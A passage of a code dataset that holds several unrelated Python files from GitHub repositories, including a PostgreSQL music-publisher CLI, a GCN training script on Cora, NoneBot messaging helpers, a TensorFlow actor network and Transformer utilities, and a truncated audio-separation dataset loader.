contract_title = record[2]\n start_date = record[3]\n end_date = record[4]\n print(\"Contract ID: {}, Title: {}, From {} to {}\".format(contract_id, contract_title, start_date, end_date))\n print(\"---------Finished Contract Detail-------------------\")\n quit(conn, cur)\n\ndef list_contracts_detail(publisher_id: int):\n '''\n Prompt User for a contract id,\n list all songs belong to the contract\n\n possible errors:\n 1. contract does not exist\n 2. contract belongs to another publisher\n '''\n\n contract_query = \"select * from contract_t where contract_id = %s\"\n query = \"select * from song where contract_id = %s\"\n try:\n contract_id = int(input(\"Please Enter Contract ID: \"))\n conn, cur = connect()\n cur.execute(contract_query, (contract_id,))\n contract = cur.fetchone()\n\n if contract is None:\n print(\"Contract of ID {} Does not exist\".format(contract_id))\n quit(conn, cur)\n return\n\n # we do not allow publisher to view other's contract\n contract_owner = contract[1]\n if contract_owner != publisher_id:\n print(\"You can only view your own contract!\")\n quit(conn, cur)\n return\n\n # list songs that belongs to this contract\n cur.execute(query, (contract_id,))\n print(\"---------Songs included in Contract {}-{}---------\".format(contract[0], contract[2]))\n for song in cur:\n song_id = song[0]\n title = song[2]\n language = song[3]\n description = song[4]\n artist = song[5]\n print(\"Song ID: {}, Title: {}, Language: {}, Description: {}, Written By: {}\"\n .format(song_id, title, language, description, artist))\n print(\"-----------Finished Song Detail-----------------\")\n quit(conn, cur)\n except ValueError:\n print(\"Invalid Input: Contract ID has to be a number\")\n\ndef add_song_to_contracts(publisher_id: int):\n '''\n Prompt User to give: contract_id,song_id,title,language,description,artist\n possible errors:\n 1. contract does not exists or does not belong to this publisher\n 2. song_id not unique\n 3. song_id not Number\n 4. language not in \"EN-US\", \"ZH-CN\", \"JA-JP\", \"RU-RU\", \"KO-KR\"\n '''\n contract_query = \"select * from contract_t where contract_id = %s\"\n insert_query = \"insert into song values (%s, %s, %s, %s, %s, %s)\"\n\n user_input=input(\"Please Enter contract_id, song_id, song_title, language, description, artist seperated by ',': \").split(',')\n if len(user_input) != 6:\n print(\"Invalid Input: You have to enter exactly 6 arguments\")\n return\n for i in user_input:\n if not i:\n print(\"Invalid Input: You have to enter exactly 6 arguments\")\n return\n\n # parse input\n contract_id = -1\n song_id = -1\n try:\n contract_id = int(user_input[0])\n except ValueError:\n print(\"Invalid Input: Contract Id has to be a number\")\n return\n try:\n song_id = int(user_input[1])\n except ValueError:\n print(\"Invalid Input: Song id has to be a number\")\n return\n\n song_title = user_input[2]\n language = user_input[3]\n description = user_input[4]\n artist = user_input[5]\n\n conn, cur = connect()\n # check contract constraint\n cur.execute(contract_query, (contract_id,))\n contract = cur.fetchone()\n if contract is None:\n print(\"Contract of ID {} does not exist\".format(contract_id))\n quit(conn, cur)\n return\n contract_owner = contract[1]\n if contract_owner != publisher_id:\n print(\"You can only view your own contract!\")\n quit(conn, cur)\n return\n\n # ok, perform operation\n try:\n cur.execute(insert_query, (song_id, contract_id, song_title, language, description, artist))\n print(\"Successfully Inserted Song {} to Contract {}\".format(song_id, contract_id))\n except psycopg2.errors.UniqueViolation:\n print(\"Insert Failed: Song Id {} already exists\".format(song_id))\n except psycopg2.errors.InvalidTextRepresentation:\n print(\"Language can only be chosen from 'EN-US', 'ZH-CN', 'JA-JP', 'RU-RU', 'KO-KR'\")\n\n quit(conn, cur)\n\n\ndef add_version_to_song(publisher_id: int):\n '''\n Prompt User for (song_id, version_id, version_name, resource_url)\n\n possible errors:\n 1. song does not exists\n 2. song belongs to other's contract\n 3. song_id, version_id is not unique\n '''\n contract_query = \"select distinct publisher_id from song join contract_t using (contract_id) where song_id = %s\"\n insert_query = \"insert into version values (%s, %s, %s, %s)\"\n\n user_input = input(\"Please Enter song_id, version_id, version_name, resource_url separated by ',': \").split(',')\n if len(user_input) != 4:\n print(\"Invalid Input: You have to enter exactly 4 arguments\")\n return\n for i in user_input:\n if not i:\n print(\"Invalid Input: You have to enter exactly 4 arguments\")\n return\n\n song_id = -1\n version_id = -1\n try:\n song_id = int(user_input[0])\n except ValueError:\n print(\"Invalid Input: song_id has to be a number\")\n return\n\n try:\n version_id = int(user_input[1])\n except ValueError:\n print(\"Invalid Input: version_id has to be a number\")\n return\n\n version_name = user_input[2]\n resource_url = user_input[3]\n\n # contract constraint\n conn, cur = connect()\n cur.execute(contract_query, (song_id,))\n song_owner = cur.fetchone()\n if song_owner is None:\n print(\"Song of ID {} does not exists\".format(song_id))\n quit(conn, cur)\n return\n if song_owner[0] != publisher_id:\n print(\"Song of ID {} is not your grant!\".format(song_id))\n quit(conn, cur)\n return\n\n # ok, perform operation\n try:\n cur.execute(insert_query, (song_id, version_id, version_name, resource_url))\n print(\"Successfully inserted song id {}, version {}\".format(song_id, version_id))\n except psycopg2.errors.UniqueViolation:\n print(\"Song Version ({}-{}) already exists\".format(song_id, version_id))\n\n quit(conn, cur)\n\ndef require_privilege(publisher_id: int):\n '''\n Prompt User for (song_id, version_id, privilege_title)\n\n possible error:\n 1. song does not belong to this publisher\n 2. song_id, version_id does not reference a valid version\n 3. privilege title does not reference a valid privilege\n 4. this requirement already exists\n '''\n contract_query = \"select distinct publisher_id from song join contract_t using (contract_id) where song_id = %s\"\n insert_query = \"insert into requires_privilege values (%s, %s, %s)\"\n\n user_input = input(\"Please Enter song_id, version_id, privilege_title separated by ',': \").split(',')\n\n if len(user_input) != 3:\n print(\"Invalid Input: You have to enter exactly 3 arguments\")\n return\n for i in user_input:\n if not i:\n print(\"Invalid Input: You have to enter exactly 3 arguments\")\n return\n \n song_id = -1\n version_id = -1\n\n try:\n song_id = int(user_input[0])\n except ValueError:\n print(\"Invalid Input: Song id has to be a number\")\n return\n\n try:\n version_id = int(user_input[1])\n except ValueError:\n print(\"Invalid Input: Version id has to be a number\")\n\n privilege_title = user_input[2]\n\n # check contract constraint\n conn, cur = connect()\n cur.execute(contract_query, (song_id,))\n publisher = cur.fetchone()\n if publisher is None:\n print(\"Song of ID {} does not exists\".format(song_id))\n quit(conn, cur)\n return\n if publisher[0] != publisher_id:\n print(\"Song if ID {} is granted by publisher {}: You can only access your own song\".format(song_id, publisher[0]))\n quit(conn, cur)\n return\n\n # ok, perform operation\n try:\n cur.execute(insert_query, (song_id, version_id, privilege_title))\n print(\"Successfully added privilege requirement: {} for song id {} version {}\".format(privilege_title, song_id, version_id))\n except psycopg2.errors.UniqueViolation:\n print(\"Song {} version {} already requires privilege '{}'\".format(song_id, version_id, privilege_title))\n except psycopg2.errors.ForeignKeyViolation:\n # check which foreign key violation\n if privilege_title not in ['User', 'VIP']:\n print(\"Privilege Should be in 'User', 'VIP'\")\n else:\n print(\"Song {} Version {} does not exist\".format(song_id, version_id))\n\n quit(conn, cur)\n","repo_name":"JiayingChen0307/csci421-term-project","sub_path":"src/apis/publisher.py","file_name":"publisher.py","file_ext":"py","file_size_in_byte":10519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"73013461517","text":"\"\"\"\ntrain\n\"\"\"\n\nimport os\nimport time\nimport pathlib\nimport argparse\nimport tarfile\nimport requests\n\nimport torch\nfrom torch import nn\nimport matplotlib.pyplot as plt\n\nfrom data import *\nfrom layers import *\nfrom models import *\nfrom train_utils import *\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument(\"--epochs\", type=int, default=20)\nparser.add_argument(\"--patience\", type=int, default=10)\nparser.add_argument(\"--lr\", type=float, default=0.01)\nparser.add_argument(\"--l2\", type=float, default=5e-4)\nparser.add_argument(\"--dropout\", type=float, default=0.5)\nparser.add_argument(\"--hidden_features\", type=int, default=16)\nparser.add_argument(\"--device\", type=str, default=\"cpu\")\nparser.add_argument(\"--seed\", type=int, default=42)\n\nargs = parser.parse_args()\n\n\ndef main():\n # set seed\n set_seed(args.seed)\n\n # plot settings\n plot_settings()\n\n # main\n _main()\n\n\ndef _main():\n # set seed\n set_seed(args.seed)\n print(f\">>> seed: {args.seed}\")\n\n # set device\n device = torch.device(args.device)\n print(f\">>> device: {device}\")\n\n # load data\n cora_url = \"https://linqs-data.soe.ucsc.edu/public/lbc/cora.tgz\"\n print(\">>> downloading dataset...\")\n with requests.get(cora_url, stream=True) as tgz_file:\n with tarfile.open(fileobj=tgz_file.raw, mode=\"r:gz\") as tgz_object:\n tgz_object.extractall()\n\n print(\">>> loading data...\")\n features, labels, adj_mat = load_cora(device=device)\n idx = torch.randperm(len(labels)).to(device)\n idx_test, idx_val, idx_train = idx[:1000], idx[1000:1500], idx[1500:]\n\n # loss & accuracy function\n loss_fn = nn.NLLLoss()\n def acc_fn(logits, labels):\n _, preds = logits.max(dim=1)\n correct = preds.eq(labels).double()\n acc = correct.sum() / len(correct)\n return acc.item()\n\n ########################################\n # model 0: MLP (adjacency matrix -> identity matrix)\n ########################################\n print(\">>> training MLP...\")\n model_0 = GCN(\n in_features=features.size(1),\n hidden_features=args.hidden_features,\n out_features=labels.max().item()+1,\n dropout=args.dropout,\n bias=True\n ).to(device)\n optimizer_0 = torch.optim.Adam(\n model_0.parameters(),\n lr=args.lr,\n weight_decay=args.l2\n )\n\n history_0 = {\n \"epoch\": [],\n \"loss\": [],\n \"acc\": [],\n \"loss_val\": [],\n \"acc_val\": [],\n \"best_loss\": [],\n \"wait\": [],\n \"time\": []\n }\n\n # train\n print(\"\\n>>> training...\")\n t0 = time.time()\n best_loss = float(\"inf\")\n wait = 0\n for epoch in range(0, args.epochs+1):\n # train\n model_0.train()\n # forward\n logits = model_0(features, torch.eye(adj_mat.size(0)).to(device))\n loss = loss_fn(logits[idx_train], labels[idx_train])\n acc = acc_fn(logits[idx_train], labels[idx_train])\n\n # backward\n optimizer_0.zero_grad()\n loss.backward()\n optimizer_0.step()\n\n # validation\n model_0.eval()\n with torch.inference_mode():\n logits = model_0(features, torch.eye(adj_mat.size(0)).to(device))\n loss_val = loss_fn(logits[idx_val], labels[idx_val])\n acc_val = acc_fn(logits[idx_val], labels[idx_val])\n\n # early stopping\n if loss_val < best_loss:\n best_loss = loss_val\n wait = 0\n else:\n wait += 1\n if wait == args.patience:\n print(f\"early stopping at epoch {epoch}\")\n break\n\n if epoch % 10 == 0:\n t1 = time.time()\n elps = t1 - t0\n print(f\"epoch: {epoch:03d}, \"\n f\"loss: {loss:.3f}, acc: {acc:.3f}, \"\n f\"loss_val: {loss_val:.3f}, acc_val: {acc_val:.3f}, \"\n f\"best_loss: {best_loss:.3f}, wait: {wait:02d}, \"\n f\"time: {elps:.2f} s\")\n t0 = time.time()\n\n history_0[\"epoch\"].append(epoch)\n history_0[\"loss\"].append(loss.item())\n history_0[\"acc\"].append(acc)\n history_0[\"loss_val\"].append(loss_val.item())\n history_0[\"acc_val\"].append(acc_val)\n\n # test\n print(\"\\n>>> testing...\")\n model_0.eval()\n with torch.inference_mode():\n logits = model_0(features, torch.eye(adj_mat.size(0)).to(device))\n loss_test = loss_fn(logits[idx_test], labels[idx_test])\n acc_test = acc_fn(logits[idx_test], labels[idx_test])\n print(f\"loss_test: {loss_test:.3f}, acc_test: {acc_test:.3f}\")\n\n # save\n print(\"\\n>>> saving...\")\n save_model(\n model=model_0,\n save_dir=\"saved_models\",\n model_name=\"mlp.pth\"\n )\n\n\n ####################\n # model 1: GCN\n ####################\n print(\">>> training GCN...\")\n model_1 = GCN(\n in_features=features.size(1),\n hidden_features=args.hidden_features,\n out_features=labels.max().item() + 1,\n dropout=args.dropout,\n bias=True\n ).to(device)\n optimizer_1 = torch.optim.Adam(\n model_1.parameters(),\n lr=args.lr,\n weight_decay=args.l2\n )\n\n history_1 = {\n \"epoch\": [],\n \"loss\": [],\n \"acc\": [],\n \"loss_val\": [],\n \"acc_val\": [],\n \"best_loss\": [],\n \"wait\": [],\n \"time\": []\n }\n\n # train\n print(\"\\n>>> training...\")\n t0 = time.time()\n best_loss = float(\"inf\")\n wait = 0\n for epoch in range(0, args.epochs+1):\n # train\n model_1.train()\n # forward\n logits = model_1(features, adj_mat)\n loss = loss_fn(logits[idx_train], labels[idx_train])\n acc = acc_fn(logits[idx_train], labels[idx_train])\n\n # backward\n optimizer_1.zero_grad()\n loss.backward()\n optimizer_1.step()\n\n # validation\n model_1.eval()\n with torch.inference_mode():\n logits = model_1(features, adj_mat)\n loss_val = loss_fn(logits[idx_val], labels[idx_val])\n acc_val = acc_fn(logits[idx_val], labels[idx_val])\n\n # early stopping\n if loss_val < best_loss:\n best_loss = loss_val\n wait = 0\n else:\n wait += 1\n if wait == args.patience:\n print(f\"early stopping at epoch {epoch}\")\n break\n\n if epoch % 10 == 0:\n t1 = time.time()\n elps = t1 - t0\n print(f\"epoch: {epoch:03d}, \"\n f\"loss: {loss:.3f}, acc: {acc:.3f}, \"\n f\"loss_val: {loss_val:.3f}, acc_val: {acc_val:.3f}, \"\n f\"best_loss: {best_loss:.3f}, wait: {wait:02d}, \"\n f\"time: {elps:.2f} s\")\n t0 = time.time()\n\n history_1[\"epoch\"].append(epoch)\n history_1[\"loss\"].append(loss.item())\n history_1[\"acc\"].append(acc)\n history_1[\"loss_val\"].append(loss_val.item())\n history_1[\"acc_val\"].append(acc_val)\n\n # test\n print(\"\\n>>> testing...\")\n model_1.eval()\n with torch.inference_mode():\n logits = model_1(features, adj_mat)\n loss_test = loss_fn(logits[idx_test], labels[idx_test])\n acc_test = acc_fn(logits[idx_test], labels[idx_test])\n print(f\"loss_test: {loss_test:.3f}, acc_test: {acc_test:.3f}\")\n\n # save\n print(\"\\n>>> saving...\")\n save_model(\n model=model_1,\n save_dir=\"saved_models\",\n model_name=\"gcn.pth\"\n )\n\n # plot\n path_results = pathlib.Path(\"results\")\n path_results.mkdir(exist_ok=True)\n plt.figure()\n\n plt.subplot(1, 2, 1)\n plt.plot(history_0[\"epoch\"], history_0[\"loss\"], label=\"train\")\n plt.plot(history_0[\"epoch\"], history_0[\"loss_val\"], label=\"validation\")\n plt.xlabel(\"epoch\")\n plt.ylabel(\"loss\")\n plt.title(\"MLP\")\n plt.ylim(.5, 2.)\n plt.legend()\n\n plt.subplot(1, 2, 2)\n plt.plot(history_1[\"epoch\"], history_1[\"loss\"], label=\"train\")\n plt.plot(history_1[\"epoch\"], history_1[\"loss_val\"], label=\"validation\")\n plt.xlabel(\"epoch\")\n plt.ylabel(\"loss\")\n plt.title(\"GCN\")\n plt.ylim(.5, 2.)\n plt.legend()\n\n plt.tight_layout()\n plt.savefig(path_results / \"loss.png\")\n plt.close()\n\n\n plt.figure()\n\n plt.subplot(1, 2, 1)\n plt.plot(history_0[\"epoch\"], history_0[\"acc\"], label=\"train\")\n plt.plot(history_0[\"epoch\"], history_0[\"acc_val\"], label=\"validation\")\n plt.xlabel(\"epoch\")\n plt.ylabel(\"accuracy\")\n plt.title(\"MLP\")\n plt.ylim(.1, .9)\n plt.legend(loc=\"lower right\")\n\n plt.subplot(1, 2, 2)\n plt.plot(history_1[\"epoch\"], history_1[\"acc\"], label=\"train\")\n plt.plot(history_1[\"epoch\"], history_1[\"acc_val\"], label=\"validation\")\n plt.xlabel(\"epoch\")\n plt.ylabel(\"accuracy\")\n plt.title(\"GCN\")\n plt.ylim(.1, .9)\n plt.legend(loc=\"lower right\")\n\n plt.tight_layout()\n plt.savefig(path_results / \"accuracy.png\")\n plt.close()\n\n\n\n\ndef set_seed(seed):\n # set seed\n torch.manual_seed(seed)\n # if torch.cuda.is_available():\n # torch.cuda.manual_seed_all(seed)\n # if torch.backends.mps.is_available():\n # torch.mps.manual_seed(seed)\n\n\ndef plot_settings():\n plt.style.use(\"ggplot\")\n plt.rcParams[\"figure.figsize\"] = (7, 5)\n plt.rcParams[\"font.family\"] = \"Times New Roman\"\n plt.rcParams[\"mathtext.fontset\"] = \"cm\"\n # plt.rcParams[\"font.size\"] = 12\n plt.rcParams[\"legend.loc\"] = \"best\"\n plt.rcParams[\"legend.frameon\"] = True\n plt.rcParams[\"legend.framealpha\"] = 1.\n plt.rcParams[\"savefig.dpi\"] = 200\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"ShotaDeguchi/GCN_Cora","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":9555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"13567203865","text":"import nonebot\nfrom nonebot.adapters.onebot.v11.adapter import Adapter\nfrom nonebot.adapters.onebot.v11 import Message,MessageSegment\nfrom nonebot.adapters.onebot.v11.bot import Bot\n\nasync def is_in_group(bot:Bot,group_id:int) -> bool:\n group_list = await bot.get_group_list()\n if group_id not in [group_num[\"group_id\"] for group_num in group_list]:\n return False\n return True\n\nasync def is_in_friend(bot:Bot,user_id:int) -> bool:\n friend_list = await bot.get_friend_list()\n if user_id not in [friend_id[\"user_id\"] for friend_id in friend_list]:\n return False\n return True\n\nasync def send_group_forward_msg_by_bots(group_id:int,node_msg:list) -> bool:\n '''group_id:尝试发送到的群号\\n\n msg:尝试发送的node列表\\n\n 不在bot群列表的群不会尝试发送'''\n bots = nonebot.get_adapter(Adapter).bots\n status = False\n for bot in bots:\n if await is_in_group(bots[bot],int(group_id)):\n await bots[bot].send_group_forward_msg(group_id=int(group_id), messages=node_msg)\n status = True\n return status\n \nasync def send_private_forward_msg_by_bots(user_id:int,node_msg:list) -> bool:\n '''user_id:尝试发送到的好友qq号\\n\n msg:尝试发送的node列表\\n\n 不在bot好友列表的qq不会尝试发送'''\n bots = nonebot.get_adapter(Adapter).bots\n status = False\n for bot in bots:\n if await is_in_friend(bots[bot],int(user_id)):\n await bots[bot].send_private_forward_msg(user_id=int(user_id), messages=node_msg)\n status = True\n return status\n \nasync def send_group_msg_by_bots(group_id:int,msg) -> bool:\n '''group_id:尝试发送到的群号\\n\n msg:尝试发送的消息\\n\n 不在bot群列表的群不会尝试发送'''\n bots = nonebot.get_adapter(Adapter).bots\n status = False\n for bot in bots:\n if await is_in_group(bots[bot],int(group_id)):\n await bots[bot].send_group_msg(group_id=int(group_id),message=msg)\n status = True\n return status\n\nasync def send_private_msg_by_bots(user_id:int,msg) -> bool:\n '''user_id:尝试发送到的好友qq号\\n\n msg:尝试发送的消息\\n\n 不在bot好友列表的qq不会尝试发送'''\n bots = nonebot.get_adapter(Adapter).bots\n status = False\n for bot in bots:\n if await is_in_friend(bots[bot],int(user_id)):\n await bots[bot].send_private_msg(user_id=int(user_id),message=msg)\n status = True\n return status\n \n \n ","repo_name":"nek0us/nonebot-plugin-sendmsg-by-bots","sub_path":"nonebot_plugin_sendmsg_by_bots/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":2558,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"72101045838","text":"import tensorflow as tf\nimport numpy as np\nimport collections\nfrom config import Config\nfrom utility import get_initializer, get_activation\n\nState = collections.namedtuple('State', ['fix_combinations', 'cur_combination', 'score'])\n\n\nclass Actor:\n '''\n num_fix_combinations\n num_cur_fields\n fix_combinations\n cur_combination\n action: the corresponding action for every state, the i means select the ith available action\n target\n fix_encoded\n cur_encoded\n fix_combined\n chooser_input\n logits\n action_probs\n loss\n train_op\n '''\n def __init__(self, graph, sess, optimizer):\n self.graph = graph\n self.sess = sess\n self.optimizer = optimizer\n\n self.num_fix_combinations = None # []\n self.num_cur_fields = None # []\n self.fix_combinations = None # batch * num_fix * num_fields\n self.cur_combination = None # batch * num_fields\n self.action = None # batch\n self.target = None # batch\n self.fix_encoded = None # batch * num_fix * encode_dim\n self.cur_encoded = None # batch * encode_dim\n self.fix_combined = None # batch * encode_dim\n self.chooser_input = None # batch * 2 encode_dim\n self.logits = None # batch * num_fields\n self.action_probs = None # batch * num_fields\n self.loss = None # []\n self.train_op = None # operation\n\n with graph.as_default():\n self.define_inputs()\n\n self.define_encoder(Config.encoder_dim)\n\n self.define_combinator()\n\n self.chooser_input = tf.concat([self.fix_combined, self.cur_encoded], axis=1)\n self.define_chooser([('full', 256), ('act', 'relu'), ('full',64), ('act', 'relu'), ('full', Config.num_fields)])\n\n self.define_loss_and_train()\n\n def define_inputs(self):\n with tf.variable_scope(\"inputs\"):\n self.num_fix_combinations = tf.placeholder(dtype=tf.int32, shape=[], name=\"num_fix_combinations\")\n self.num_cur_fields = tf.placeholder(dtype=tf.int32, shape=[], name=\"num_cur_fields\")\n self.fix_combinations = tf.cast(tf.placeholder(dtype=tf.int32, shape=[None, None, Config.num_fields]),\n name=\"fix_combinations\", dtype=tf.float32)\n self.cur_combination = tf.cast(tf.placeholder(dtype=tf.int32, shape=[None, Config.num_fields]), name=\"cur_combination\",\n dtype=tf.float32)\n self.action = tf.placeholder(dtype=tf.int32, shape=[None], name=\"action\")\n self.target = tf.placeholder(dtype=tf.float32, shape=[None], name=\"target\")\n\n def define_encoder(self, encode_dim):\n with tf.variable_scope(\"encoder\"):\n self.encoder_w = w = tf.get_variable(\"w\", shape=[Config.num_fields, encode_dim], dtype=tf.float32,\n initializer=get_initializer(\"xavier\"))\n# self.fix_encoded = tf.sigmoid(tf.tensordot(self.fix_combinations, w, 1), name=\"fix_encoded\") # batch * fix_num * encode_dim\n# self.cur_encoded = tf.sigmoid(tf.tensordot(self.cur_combination, w, 1), name=\"cur_encoded\") # batch * encode_dim\n self.fix_encoded = tf.tensordot(self.fix_combinations, w, 1, name=\"fix_encoded\") # batch * fix_num * encode_dim\n self.cur_encoded = tf.tensordot(self.cur_combination, w, 1, name=\"cur_encoded\") # batch * encode_dim\n\n def define_combinator(self):\n with tf.variable_scope(\"combinator\"):\n self.fix_combined = tf.reduce_mean(self.fix_encoded, axis=1, name=\"fix_combined\") # batch * encode_dim\n\n def define_chooser(self, layers):\n with tf.variable_scope(\"chooser\"):\n layer_index = 0\n cur_layer = self.chooser_input\n cur_dim = self.chooser_input.get_shape().as_list()[-1]\n for layer_type, layer_param in layers:\n if layer_type == 'full':\n new_dim = layer_param\n with tf.variable_scope(\"layer_{}\".format(layer_index)):\n w = tf.get_variable(\"w\", shape=[cur_dim, new_dim], dtype=tf.float32, initializer=get_initializer(\"xavier\"))\n b = tf.get_variable(\"b\", shape=[1, new_dim], dtype=tf.float32, initializer=get_initializer(0.0))\n cur_layer = tf.matmul(cur_layer, w) + b\n layer_index += 1\n cur_dim = new_dim\n elif layer_type == 'act':\n cur_layer = get_activation(layer_param)(cur_layer)\n else:\n raise ValueError\n self.logits = tf.reshape(tf.boolean_mask(cur_layer, tf.equal(self.cur_combination, 0)),\n shape=[-1, Config.num_fields - self.num_cur_fields], name=\"logits\")\n self.action_probs = tf.nn.softmax(self.logits)\n\n def define_loss_and_train(self):\n self.loss = tf.reduce_mean(self.target * tf.nn.sparse_softmax_cross_entropy_with_logits(labels=self.action, logits=self.logits),\n name=\"loss\")\n self.train_op = self.optimizer.minimize(self.loss)\n\n def watch(self, fetches, feed_dict):\n return self.sess.run(fetches=fetches, feed_dict=feed_dict)\n\n def predict(self, state):\n \"\"\"\n @:return probability distribution of actions\n \"\"\"\n assert isinstance(state, State)\n fix_combs = state.fix_combinations[np.newaxis, :, :]\n cur_combs = state.cur_combination[np.newaxis, :]\n fetches = [self.action_probs, self.logits]\n feed_dict = {self.num_cur_fields: np.sum(state.cur_combination), self.fix_combinations: fix_combs, self.cur_combination: cur_combs}\n action_probs, logits = self.sess.run(fetches=fetches, feed_dict=feed_dict)\n return action_probs, logits\n\n def update(self, fix_combs, cur_combs, target, action):\n \"\"\"\n update the network and return the loss\n \"\"\"\n fetches = [self.loss, self.train_op]\n feed_dict = {self.num_cur_fields: np.sum(cur_combs[0]),\n self.fix_combinations: fix_combs,\n self.cur_combination: cur_combs,\n self.action: action,\n self.target: target}\n loss, _ = self.sess.run(fetches=fetches, feed_dict=feed_dict)\n return loss\n","repo_name":"yaoyaoding/feature-combination","sub_path":"learner/actor.py","file_name":"actor.py","file_ext":"py","file_size_in_byte":6459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"33649485019","text":"import math\n\nimport numpy as np\nimport tensorflow as tf, tf_keras\n\n# Very low numbers to represent -infinity. We do not actually use -Inf, since we\n# want to be able to multiply these values by zero to get zero. (-Inf * 0 = NaN)\n_NEG_INF_FP32 = -1e9\n_NEG_INF_FP16 = np.finfo(np.float16).min\n\n\ndef get_position_encoding(length,\n hidden_size,\n min_timescale=1.0,\n max_timescale=1.0e4):\n \"\"\"Return positional encoding.\n\n Calculates the position encoding as a mix of sine and cosine functions with\n geometrically increasing wavelengths.\n Defined and formulized in Attention is All You Need, section 3.5.\n\n Args:\n length: Sequence length.\n hidden_size: Size of the\n min_timescale: Minimum scale that will be applied at each position\n max_timescale: Maximum scale that will be applied at each position\n\n Returns:\n Tensor with shape [length, hidden_size]\n \"\"\"\n # We compute the positional encoding in float32 even if the model uses\n # float16, as many of the ops used, like log and exp, are numerically unstable\n # in float16.\n position = tf.cast(tf.range(length), tf.float32)\n num_timescales = hidden_size // 2\n log_timescale_increment = (\n math.log(float(max_timescale) / float(min_timescale)) /\n (tf.cast(num_timescales, tf.float32) - 1))\n inv_timescales = min_timescale * tf.exp(\n tf.cast(tf.range(num_timescales), tf.float32) * -log_timescale_increment)\n scaled_time = tf.expand_dims(position, 1) * tf.expand_dims(inv_timescales, 0)\n signal = tf.concat([tf.sin(scaled_time), tf.cos(scaled_time)], axis=1)\n return signal\n\n\ndef get_decoder_self_attention_bias(length, dtype=tf.float32):\n \"\"\"Calculate bias for decoder that maintains model's autoregressive property.\n\n Creates a tensor that masks out locations that correspond to illegal\n connections, so prediction at position i cannot draw information from future\n positions.\n\n Args:\n length: int length of sequences in batch.\n dtype: The dtype of the return value.\n\n Returns:\n float tensor of shape [1, 1, length, length]\n \"\"\"\n neg_inf = _NEG_INF_FP16 if dtype == tf.float16 else _NEG_INF_FP32\n with tf.name_scope(\"decoder_self_attention_bias\"):\n valid_locs = tf.linalg.band_part(\n tf.ones([length, length], dtype=dtype), -1, 0)\n valid_locs = tf.reshape(valid_locs, [1, 1, length, length])\n decoder_bias = neg_inf * (1.0 - valid_locs)\n return decoder_bias\n\n\ndef get_padding(x, padding_value=0, dtype=tf.float32):\n \"\"\"Return float tensor representing the padding values in x.\n\n Args:\n x: int tensor with any shape\n padding_value: int which represents padded values in input\n dtype: The dtype of the return value.\n\n Returns:\n float tensor with same shape as x containing values 0 or 1.\n 0 -> non-padding, 1 -> padding\n \"\"\"\n with tf.name_scope(\"padding\"):\n return tf.cast(tf.equal(x, padding_value), dtype)\n\n\ndef get_padding_bias(x, padding_value=0, dtype=tf.float32):\n \"\"\"Calculate bias tensor from padding values in tensor.\n\n Bias tensor that is added to the pre-softmax multi-headed attention logits,\n which has shape [batch_size, num_heads, length, length]. The tensor is zero at\n non-padding locations, and -1e9 (negative infinity) at padding locations.\n\n Args:\n x: int tensor with shape [batch_size, length]\n padding_value: int which represents padded values in input\n dtype: The dtype of the return value\n\n Returns:\n Attention bias tensor of shape [batch_size, 1, 1, length].\n \"\"\"\n with tf.name_scope(\"attention_bias\"):\n padding = get_padding(x, padding_value, dtype)\n attention_bias = padding * _NEG_INF_FP32\n attention_bias = tf.expand_dims(\n tf.expand_dims(attention_bias, axis=1), axis=1)\n return attention_bias\n","repo_name":"tensorflow/models","sub_path":"official/legacy/transformer/model_utils.py","file_name":"model_utils.py","file_ext":"py","file_size_in_byte":3787,"program_lang":"python","lang":"en","doc_type":"code","stars":76227,"dataset":"github-code","pt":"29"} +{"seq_id":"6372094152","text":"import torch\nimport torch.nn as nn\nimport torchaudio\n\nimport numpy as np\nimport yaml\nimport random\nimport glob\nimport os\nimport tqdm\nfrom asteroid.models import WeakSupModel, Classifier\nfrom asteroid.models.x_umx import _STFT, _Spectrogram\nimport wandb\n#from torchmetrics.functional.audio import scale_invariant_signal_distortion_ratio\n\nwandb.init(project=\"weak_sup\")\n\nclass UrbanSoundDataset(torch.utils.data.Dataset):\n\n def __init__(self, file_path, class_id_lst, audio_dir, target_sample_rate = 16000, target_time = 4, source_random = True):\n self.file_path_lst = file_path\n self.class_id_lst = class_id_lst\n self.audio_dir = audio_dir \n self.target_sample_rate = target_sample_rate\n self.target_time = target_time\n self.source_random = source_random\n self.data = {index: {} for index in range(len(self.file_path_lst))}\n\n def __len__(self):\n return len(self.file_path_lst)\n\n def __getitem__(self, index):\n \n if len(self.data[index]) == 0:\n # TODO: adpative pooling dimension 정리\n # set adaptivepooling \n m = nn.AdaptiveAvgPool1d(126)\n # assemble the mixture of target\n audio_sources = {src: torch.zeros(1, self.target_sample_rate* self.target_time).cuda() for src in self.class_id_lst}\n time_labels = {src: torch.zeros(1, 126).cuda() for src in self.class_id_lst}\n\n # load sources\n audio_target_path, class_id_target = self._get_audio_sample_path(index, self.source_random)\n \n for idx, source in enumerate(class_id_target):\n\n # load, downsample, convert to mono\n audio, sr = torchaudio.load(audio_target_path[idx])\n audio = self._resample_if_necessary(audio, sr, self.target_sample_rate)\n audio = torch.mean(audio, dim = 0).reshape(1, -1).cuda()\n \n # randomly select the starting point and truncate if it's longer than target length\n # generate time label\n start = random.randint(0, self.target_sample_rate)\n end = start + audio.shape[1]\n\n if end > self.target_sample_rate * self.target_time:\n end_truncated = end - self.target_sample_rate * self.target_time\n audio_sources[source][:, start:] = audio[:, :-end_truncated]\n time_labels[source][:, start:] = 1\n else:\n audio_sources[source][:, start:end] = audio\n time_labels[source][:, start:end] = 1\n time_labels[source] = m(time_labels[source])\n \n assert audio_sources[source].shape[1] == self.target_sample_rate * self.target_time\n\n # generate time label\n # TODO: define the function which generate time labels\n\n # generate mixture\n audio_mix = torch.stack(list(audio_sources.values())).sum(0)\n audio_sources = torch.stack([audio_sources[src] for src in self.class_id_lst], dim=0)\n time_labels = torch.stack([label for label in time_labels.values()], dim=0)\n \n \n # convert class_id_target to binary label\n binary_class_label = 